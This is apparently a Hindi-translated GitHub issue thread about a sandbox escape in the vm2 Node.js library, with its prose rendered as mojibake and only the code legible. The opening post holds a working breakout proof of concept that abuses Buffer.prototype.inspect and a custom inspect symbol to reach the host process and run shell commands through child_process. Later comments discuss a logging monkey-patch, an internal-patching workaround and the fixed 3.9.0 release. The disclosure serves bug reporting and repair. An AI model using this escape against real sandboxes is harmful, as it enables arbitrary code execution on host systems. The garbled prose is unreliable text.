рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ vm рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдФрд░ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╢реЗрд▓ рдореЗрдВ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред
рдпрд╣ рдкрд╣рд▓реЗ рд╣реА # 187 рдореЗрдВ рдпрд╣рд╛рдВ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рдЪреБрдХрд╛
const {VM} = require('vm2');
const vm = new VM({
wasm: false,
timeout: 2000,
sandbox: {},
eval: false,
});
const malicious = '(' + function(){
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
e(()=>0).mainModule.require('child_process').execSync("winver") // Actually opens winver
}
}+')()';
vm.run(malicious)
@patriksimek рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдорд╛рд╕реНрдЯрд░ рдореЗрдВ рддрдп рдХреА рдЧрдИ рд╣реИ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдлрд┐рдХреНрд╕ https://github.com/patriksimek/vm2/pull/242 рдХреЗ рд╕рд╛рде рдЖрдпрд╛ рдЬреЛ рд╕рдВрд╕реНрдХрд░рдг 3.8.4 рдХреЗ рдмрд╛рдж рд╣реИред рдЗрд╕рд▓рд┐рдП mpn рдореЗрдВ рдпрд╣ рд╕реБрдзрд╛рд░ рдирд╣реАрдВ рд╣реИред
рдпрд╣ рддрдм рддрдХ рдЦреБрд▓рд╛ рд░рд╣рддрд╛ рд╣реИ рдЬрдм рддрдХ v3.8.5 рдмрд╛рд╣рд░ рдирд╣реАрдВ рдЖ рдЬрд╛рддрд╛ред
рдХреНрдпрд╛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдИрдЯреАрдП рд╣реИ?
@ jan-osch рдЪреВрдВрдХрд┐ @patriksimek рдХрд╛рдлреА рдирд┐рд╖реНрдХреНрд░рд┐рдп рд▓рдЧрддрд╛ рд╣реИ, рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ред
@XmiliaH рдЖрдкрдХреЗ рдЙрддреНрддрд░ рдФрд░ рд╕рднреА рдпреЛрдЧрджрд╛рдиреЛрдВ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж!
рдХреНрдпрд╛ рдЖрдкрдХреЛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдЗрд╕ рддрд░рд╣ рдХреЗ рдмрдВрджрд░-рдкреИрдЪ рдХрд┐рдП рдЧрдП рд╕рдорд╛рдзрд╛рди рдмреНрд░реЗрдХрдЖрдЙрдЯ рдХреЛ рддрдм рддрдХ рд░реЛрдХреЗрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдЕрджреНрдпрддрди рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рдХрд╛рд╢рд┐рдд рди рд╣реЛ?
const vm = new NodeVM({
console: 'off',
sandbox: {
console: consoleInterface,
setTimeout,
print,
// TODO remove once vm2 fixed the breakout issue
// Reference: https://github.com/patriksimek/vm2/issues/268
Buffer: {
...Buffer,
prototype: new Proxy(Buffer.prototype, {
get(object, property) {
if (property === 'inspect') {
return () => {
console.log('[BREAKOUT_ATTEMPT]'); // eslint-disable-line no-console
consoleInterface.error('Nice try! This breakout attempt will be reported');
};
}
return object[property];
},
}),
},
},
require: { // here define modules that can be required
builtin: [
// some list
],
external: [
//...
],
},
});
return vm.run(code, SCRIPT_PATH);
@ рдЬрд╛рди-рдУрд╢ рдПрдХ рдЕрдЪреНрдЫреА рдЖрддреНрдорд╛ рдирд╣реАрдВ рд╣реИ:
1) рдпрд╣ [Symbol.for("nodejs.util.inspect.custom")] рдХреБрдВрдЬреА рдХреЛ рднреВрд▓ рдЬрд╛рддрд╛ рд╣реИред
2) рдпрд╣ рд╣реЛрд╕реНрдЯ рдмрдлрд░ рдХреЗ рдкреНрд░реЛрдЯреЛрдЯрд╛рдЗрдк рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
3) рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдХрдВрд╕реЛрд▓.рд▓реЙрдЧ рднреА рдЗрд╕ рд╕рдорд╕реНрдпрд╛ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдЧрд╛ рдФрд░ рдЖрдкрдХрд╛ рд╕рдорд╛рдзрд╛рди рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рдХреБрдЫ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ рдХреЛрдИ рдЖрд╕рд╛рди рд╕рдорд╛рдзрд╛рди рдирд╣реАрдВ рд╣реИред
рдпрд╣рд╛рдВ рдПрдХ рдЕрд╕реНрдерд╛рдпреА рдЦрд░рд╛рдм рдкрд░реАрдХреНрд╖рдг рд╣реИрдХреА рдлрд┐рдХреНрд╕ рд╣реИ:
function hacky_fix(vm) {
const internal = vm._internal;
const old = internal.Decontextify.object;
const handler = {__proto__: null};
internal.Decontextify.object = (object, traps, deepTraps, flags, mock) => {
const value = old(object, traps, deepTraps, flags, mock);
const better = new Proxy(value, handler);
internal.Decontextify.proxies.set(object, better);
internal.Contextify.proxies.set(better, object);
return better;
};
}
рдпрд╣ рдЖрдВрддрд░рд┐рдХ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдкреИрдЪ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рд╛рд╡рдзрд╛рдиреА рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
рдзрдиреНрдпрд╡рд╛рдж @XmiliaH! рдХреНрдпрд╛ рдЖрдк рдРрд╕реЗ рдмреНрд░реЗрдХрдЖрдЙрдЯ рдорд╛рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рд╕реВрдЯ рд╡рд╛рд▓реА рдХреЛрдИ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдЬрд╛рдирддреЗ рд╣реИрдВ? рдореИрдВ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЪреЗрддрд╛рд╡рдиреА рдкреНрд░рдгрд╛рд▓реА рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдиреЗ рд╕реАрдЖрдИ рдореЗрдВ рдХреБрдЫ рдмреНрд░реЗрдХрдЖрдЙрдЯ рдкрд░реАрдХреНрд╖рдг рдЬреЛрдбрд╝рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдВ
рд╣рдорд╛рд░реЗ рдкрд╛рд╕ test/vm.js рдореЗрдВ рдХреБрдЫ рдЯреЗрд╕реНрдЯрдХреЗрд╕ рд╣реИрдВред рдмрд╕ рд╣рдорд▓реЗ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ рдФрд░ рдЖрдкрдХреЛ рдорд╛рдорд▓реЗ рдорд┐рд▓ рдЬрд╛рдПрдВрдЧреЗред
рдпрджрд┐ рдЖрдк рдПрдХ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдорд┐рддреНрд░рд╡рдд рдЕрдиреБрд╕реНрдорд╛рд░рдХ @patriksimek рдмрд╣реБрдд рдмрдврд╝рд┐рдпрд╛ рд╣реЛрдЧрд╛ред
@mxschmitt рдмрд╕ 3.9.0 рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдореИ рдорд╛рдлреА рдЪрд╛рд╣рддрд╛ рд╣реВрдБред
рд╕рдмрд╕реЗ рдЙрдкрдпреЛрдЧреА рдЯрд┐рдкреНрдкрдгреА
@mxschmitt рдмрд╕ 3.9.0 рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЧрдпрд╛ред рджреЗрд░реА рдХреЗ рд▓рд┐рдП рдореИ рдорд╛рдлреА рдЪрд╛рд╣рддрд╛ рд╣реВрдБред